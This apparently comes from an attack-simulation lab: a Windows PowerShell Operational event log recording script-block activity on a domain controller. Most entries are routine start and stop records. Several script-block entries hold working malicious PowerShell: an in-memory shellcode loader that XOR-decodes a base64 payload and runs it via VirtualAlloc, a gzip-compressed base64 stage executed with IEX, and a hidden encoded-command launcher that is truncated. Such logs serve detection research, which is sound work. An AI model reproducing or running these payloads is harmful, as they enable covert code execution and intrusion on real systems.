RecordNumber=1479205
Keywords=None
Message=Started invocation of ScriptBlock ID: 8b6d6aa4-57ee-4061-8314-82885b07f2c4
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479204
Keywords=None
Message=Completed invocation of ScriptBlock ID: 53781394-c176-41ff-b5ee-289ee22c086b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479203
Keywords=None
Message=Started invocation of ScriptBlock ID: 53781394-c176-41ff-b5ee-289ee22c086b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:44 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479320
Keywords=None
Message=Started invocation of ScriptBlock ID: a85bed97-9bbb-4097-beff-9d8cef80286e
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:44 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479319
Keywords=None
Message=Completed invocation of ScriptBlock ID: 152befe3-d3f9-4869-b840-a40335364d33
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:44 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479318
Keywords=None
Message=Completed invocation of ScriptBlock ID: 96c9fa28-5752-4028-87a6-893baac490be
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:44 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479317
Keywords=None
Message=Started invocation of ScriptBlock ID: 96c9fa28-5752-4028-87a6-893baac490be
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:44 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479316
Keywords=None
Message=Started invocation of ScriptBlock ID: 152befe3-d3f9-4869-b840-a40335364d33
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:44 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1479315
Keywords=None
Message=Creating Scriptblock text (1 of 1):
prompt
ScriptBlock ID: 152befe3-d3f9-4869-b840-a40335364d33
Path:
06/15/2021 05:06:44 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479314
Keywords=None
Message=Completed invocation of ScriptBlock ID: a85bed97-9bbb-4097-beff-9d8cef80286e
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:44 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479313
Keywords=None
Message=Started invocation of ScriptBlock ID: a85bed97-9bbb-4097-beff-9d8cef80286e
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:44 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479312
Keywords=None
Message=Completed invocation of ScriptBlock ID: 3d44403f-50b0-4c59-afc1-c40910078169
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:44 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479311
Keywords=None
Message=Completed invocation of ScriptBlock ID: 96c9fa28-5752-4028-87a6-893baac490be
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:44 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479310
Keywords=None
Message=Started invocation of ScriptBlock ID: 96c9fa28-5752-4028-87a6-893baac490be
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:44 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479309
Keywords=None
Message=Started invocation of ScriptBlock ID: 3d44403f-50b0-4c59-afc1-c40910078169
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:44 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1479308
Keywords=None
Message=Creating Scriptblock text (1 of 1):
prompt
ScriptBlock ID: 3d44403f-50b0-4c59-afc1-c40910078169
Path:
06/15/2021 05:06:44 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479307
Keywords=None
Message=Completed invocation of ScriptBlock ID: a85bed97-9bbb-4097-beff-9d8cef80286e
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:09:40 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479336
Keywords=None
Message=Completed invocation of ScriptBlock ID: d6e03dbc-385c-4027-957c-23132df10223
Runspace ID: df859e17-4b24-400f-9b27-21ca1430cacf
06/15/2021 05:09:40 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479335
Keywords=None
Message=Started invocation of ScriptBlock ID: d6e03dbc-385c-4027-957c-23132df10223
Runspace ID: df859e17-4b24-400f-9b27-21ca1430cacf
06/15/2021 05:09:40 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479334
Keywords=None
Message=Started invocation of ScriptBlock ID: cede7de8-d6cc-4a67-a209-1cbe6c0f4208
Runspace ID: df859e17-4b24-400f-9b27-21ca1430cacf
06/15/2021 05:09:40 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=3
Type=Warning
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1479333
Keywords=None
Message=Creating Scriptblock text (1 of 1):
Set-StrictMode -Version 2
$DoIt = @'
function func_get_proc_address {
Param ($var_module, $var_procedure)
$var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
$var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
}
function func_get_delegate_type {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
[Parameter(Position = 1)] [Type] $var_return_type = [Void]
)
$var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')
$var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')
return $var_type_builder.CreateType()
}
[Byte[]]$var_code = [System.Convert]::FromBase64String('38uqIyMjQ6rGEvFHqHETqHEvqHE3qFELLJRpBRLcEuOPH0JfIQ8D4uwuIuTB03F0qHEzqGEfIvOoY1um41dpIvNzqGs7qHsDIvDAH2qoF6gi9RLcEuOP4uwuIuQbw1bXIF7bGF4HVsF7qHsHIvBFqC9oqHs/IvCoJ6gi86pnBwd4eEJ6eXLcw3t8eagxyKV+S01GVyNLVEpNSndLb1QFJNz2yyMjIyMS3HR0dHR0Sxl1WoTc9sqHIyMjeBLqcnJJIHJyS5giIyNwc0t0qrzl3PZzyq8jIyN4EvFxSyMR46dxcXFwcXNLyHYNGNz2quWg4HNLoxAjI6rDSSdzSTx1S1ZlvaXc9nwS3HR0SdxwdUsOJTtY3Pam4yyn6SIjIxLcptVXJ6rayCpLiebBftz2quJLZgJ9Etz2Etx0SSRydXNLlHTDKNz2nCMMIyMa5FYke3PKWNzc3BLcyrIiIyPK6iIjI8tM3NzcDHNPFUkjFmwCcwZjYnN4F39zeXsWFwtzfQoUYGAKFF4HZmpgYnEOcHdibWdicWcOYm13anVqcXZwDndmcHcOZWpvZgIHawhrCSMWbAJzBiN2UEZRDmJERk1XGQNuTFlKT09CDBcNEwMLQExOU0JXSkFPRhgDbnBqZgMUDRMYA3RKTUdMVFADbXcDFg0SGAMNbWZ3A2BvcQMRDRMNFhMUERQYAw1tZncDYG9xAxANEw0TFxYTFQ0QEwouKSMWbAJzBmNic3gXf3N5exYXC3N9ChRgYAoUXgdmamBicQ5wd2JtZ2JxZw5ibXdqdWpxdnAOd2Zwdw5lam9mAgdrCGsJIxZsAnMGY2JzeBd/c3l7FhcLc30KFGBgChReB2ZqYGJxDnB3Ym1nYnFnDmJtd2p1anF2cA53ZnB3DmVqb2YCB2sIawkjFmwCcwZjYnN4F39zeXsWFwtzfQoUYGAKFF4HZmpgYnEOcHdibWdicWcOYm13anVqcXZwDndmcHcOZWojS9OWgXXc9kljSyMzIyNLIyNjI3RLe4dwxtz2sJojIyMjIvpycKrEdEsjAyMjcHVLMbWqwdz2puNX5agkIuCm41bGe+DLqt7c3E5GUUBLQk1HSllGDUBCV0lCTkVGUFcNQExOIyMjIyM=')
for ($x = 0; $x -lt $var_code.Count; $x++) {
$var_code[$x] = $var_code[$x] -bxor 35
}
$var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
$var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)
$var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void])))
$var_runme.Invoke([IntPtr]::Zero)
'@
If ([IntPtr]::size -eq 8) {
start-job { param($a) IEX $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job
}
else {
IEX $DoIt
}
ScriptBlock ID: cede7de8-d6cc-4a67-a209-1cbe6c0f4208
Path:
06/15/2021 05:09:40 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479332
Keywords=None
Message=Completed invocation of ScriptBlock ID: a21a271a-edc0-4584-83c1-40720a2a15e9
Runspace ID: df859e17-4b24-400f-9b27-21ca1430cacf
06/15/2021 05:09:40 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479331
Keywords=None
Message=Started invocation of ScriptBlock ID: a21a271a-edc0-4584-83c1-40720a2a15e9
Runspace ID: df859e17-4b24-400f-9b27-21ca1430cacf
06/15/2021 05:09:40 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479330
Keywords=None
Message=Completed invocation of ScriptBlock ID: 7422a9d4-702e-468f-9b74-1daa085dab62
Runspace ID: df859e17-4b24-400f-9b27-21ca1430cacf
06/15/2021 05:09:40 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479329
Keywords=None
Message=Started invocation of ScriptBlock ID: 7422a9d4-702e-468f-9b74-1daa085dab62
Runspace ID: df859e17-4b24-400f-9b27-21ca1430cacf
06/15/2021 05:09:40 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479328
Keywords=None
Message=Started invocation of ScriptBlock ID: a896fde2-3b27-4664-b18e-5e775e6e06b6
Runspace ID: df859e17-4b24-400f-9b27-21ca1430cacf
06/15/2021 05:09:40 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=3
Type=Warning
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1479327
Keywords=None
Message=Creating Scriptblock text (1 of 1):
$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("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"));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();
ScriptBlock ID: a896fde2-3b27-4664-b18e-5e775e6e06b6
Path:
06/15/2021 05:09:40 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=40962
EventType=4
Type=Information
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=PowerShell Console Startup
OpCode=Stop
RecordNumber=1479326
Keywords=None
Message=PowerShell console is ready for user input
06/15/2021 05:09:40 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=53504
EventType=4
Type=Information
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=PowerShell Named Pipe IPC
OpCode=Open (async)
RecordNumber=1479325
Keywords=None
Message=Windows PowerShell has started an IPC listening thread on process: 5264 in AppDomain: DefaultAppDomain.
06/15/2021 05:09:40 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=40961
EventType=4
Type=Information
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=PowerShell Console Startup
OpCode=Start
RecordNumber=1479324
Keywords=None
Message=PowerShell console is starting up
06/15/2021 05:09:40 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479323
Keywords=None
Message=Started invocation of ScriptBlock ID: 6a0ec8a0-b6e8-46f0-8404-0ba356433a7d
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:09:40 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1479322
Keywords=None
Message=Creating Scriptblock text (1 of 1):
powershell -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIASAA0AHMASQBBAEEAQQBBAEEAQQBBAEEALwA2ADEAWAA2ADMATwBpAFMAaABiAC8ASABQADgASwBQAHEAUgBLAHIAVABGAGUARgBaAE8ASgBzADUAVwBxAEEAUQBHAEYAQQBGAEgAeABuAFoAdABLAFEAWABkAEwATQBMAHkARQBSAHMAQQA3ADgANwAvAHYAQQBUAFUAMwBzADUAUABaAG4AYQBxADkAVgBsAEUAMgAzAGUAZgA1AE8ANAA4ACsARwBJAFIAZQBHAFQAUgB5AEUATgBVAEMAVABKAGkAcgBPAFkAbABpAEoALwBDAFoAVABxAFYAeQBLAFEAUQB5AFoAZQA2AFkAcgA5AFgASwBKAHYARQBSAEwAYgBhAEwAeABiAE4ATgA2AEgATQBZAEIAZQBqAFoAeABEAGcAaQBjAGMAegA4AFYAYgBrAFkAbQBaAEgAcABNAGIAWABMAHYAUgBrADkAZQB3AEYATwBYAE4ASgBnAHkAcABlAEMAawBPAEEAawBJAHYAVwBMAGkAOABwAEYAdQBaAFgANABzAGIAawBoAHoANwA1AEoAbgBUADEANQA5AGcAaAA5AEMAWABBAE0AaQBtAHEAUABYAEIAZwBLAGcAVwBjADYALwB0AE8AWABMAC8AMABrAGkAbwBoAFAAagArAC8ATgBBAGEARgBjAEgAQgBQAFAAYwBoADAAUwAxACsAcgBNAE4AMgBiAHgAUQBpAEoAeQA5AFcAQgB0AEMAYQBMAE0AWAA4AHoAbABjADMAUABnAEIAcABiAHAAbgBzAGoAeQB2AG8AbABlAHcAQwBIAE8AeAA4AFcAWgBHAGkAQwB6ADgASwBCAHAAaABLADUARABhADkAVQAvAC8ANgB6AFcASAA2AC8AYQBUADAAMQB4AGwANQBoAHUAWABLAHMAYQBlAFUAeQBKADEAOABTAHUAVwA2ADAAegAzACsAdQBGAHcAbQBrAGUAawBsAHAAVgBjADEAQQBVAHgATQBHAEcATgBoAGUATwB6ADMAYQBhAHMAOQBKADYAdgBUAFIAZQBPADkAcABlAHIAWgA4ADgAcwAwAE0AVAAvAFAAaQAxAGsANABYAFUASQAwACsAdABDAHMAcwBSAFkATQBNAGQATQBhAHcAMgBtAE0AZABDADMAKwBQAFQARQAvAFAAMQB6AFoAcABKADQAbABQAEgASQAwADMAWgBwAHkAUQBLAFEAbwBOAEUAZQB3AGUAUgB1AEQAawAwAGYAZQB5AFMAQwBkAGsAQQBXAHoAVwBHADgAUABsADIAdABRADUARwBSAEkAUQBtAGsAYwArAGMAYgBRAEcAKwBmAGYAQgBLAGEAcABkACsANAByAG8ATgBrAFAAdgA0AHUAMwBLAGYAYQBqAHAASgB6ACsARAArAEwAbABQAHQAUABSAE4AUQBqAFcAaABVAGIANQB4AHkANABuAGYAZwAwAE0AcQA4AE8AWQBvAEQAZAAzADYAeQAvAGwAMQB5ADEAZQBIADMAVQA0AEwAVgBLADkAOAByAEgANgBRAHEASgBpADYAeABUAFUAcQBlAEsAZQBEADcATABsAGMAcgBGAHgAZQBQADUAWgBLAEEAUAA3AFYAUgBFAEQAcwBsADMAeAAzAFQAYQBqAEEAYQBHAEcASABTAEkATQBxAEwAYwBFADYAagBoAE4AUwBmAC8AbwA3AFAAVQBlADIAWgBNADIANwA4AFUAbABEADcAegBIAFgAaQBPAFkAYgBuAGEATQBjAGQAOAB6AGcAUABIAFAAeABVAHUAYQBoAFgAVAB0AGwAVAA3AEQAOQBiAGkAZQBOAGkARQBoAFgAbgB2ADYANABHAGcAVwB3AGMAbgB3AGkANQBiADMAbwBPAE8AaQBkADgANwBhAE8AWQBrAFkAMQBMA